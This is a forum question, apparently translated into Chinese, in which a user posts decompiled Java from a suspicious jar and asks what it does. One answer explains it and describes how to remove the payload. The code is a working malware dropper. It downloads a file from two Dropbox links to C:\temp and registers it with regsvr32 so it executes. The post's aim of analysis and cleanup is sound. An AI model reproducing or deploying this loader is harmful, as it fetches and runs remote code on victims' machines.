请有人解释一下这个JAVA代码的输出不要运行这个代码它会窃取密码[关闭]

Question

这是我刚刚得到的一个jar可执行文件。它看起来像某种病毒。窃取密码。我想。但我不知道它实际上做了什么。我通过软件对其进行解码并获得了代码。 那么有人可以看看这段代码（不要运行它）并解释一下这段代码中实际做了什么吗？

public static void Run() throws IOException
{
    int i = 3;
    while (i < 9)
    {
        Runtime.getRuntime().exec("regsvr32 /s C:\\temp\\YQJHBJX.PWY");
        i++;
    }
}

public static void main(String[] args) throws Exception
{
    new File("C:\\temp\\").mkdir();
    File localFile = new File("C:\\temp\\YQJHBJX.PWY");
    if (localFile.exists())
    {
        Run();
    }
    else
    {
        String[] arrayOfString1 = "f6pb6ya5e5vc0q5/d.dat?dl=1@@@21urb4zg9n2on4s/d.dat?dl=1".split("@@@");
        for (String str1 : arrayOfString1)
        {
            URL localURL = new URL("https://dl.dropboxusercontent.com/s/" + str1);
            HttpURLConnection localHttpURLConnection = (HttpURLConnection)localURL.openConnection();
            localHttpURLConnection.connect();
            if (localHttpURLConnection.getResponseCode() / 100 == 2)
            {
                String str2 = "https://dl.dropboxusercontent.com/s/"+ str1;
                String str3 = "C:\\temp\\YQJHBJX.PWY";
                goToWeb(str2, str3);
                break;
            }
        }
    }
}

public static void goToWeb(String paramString1, String paramString2) throws IOException
{
    System.out.println(paramString1);
    System.out.println(paramString2);

    InputStream localInputStream = URI.create(paramString1).toURL().openStream();
    Files.copy(localInputStream, Paths.get(paramString2, new String[0]), new CopyOption[0]);

    Run();
}

Answer 1

它正在从 Dropbox 下载最有可能的恶意文件并将其注册为 DLL。漏洞利用在该文件中：“C:\temp\YQJHBJX.PWY”使用 regsvr32 /u 取消注册它，如果存在则将其删除。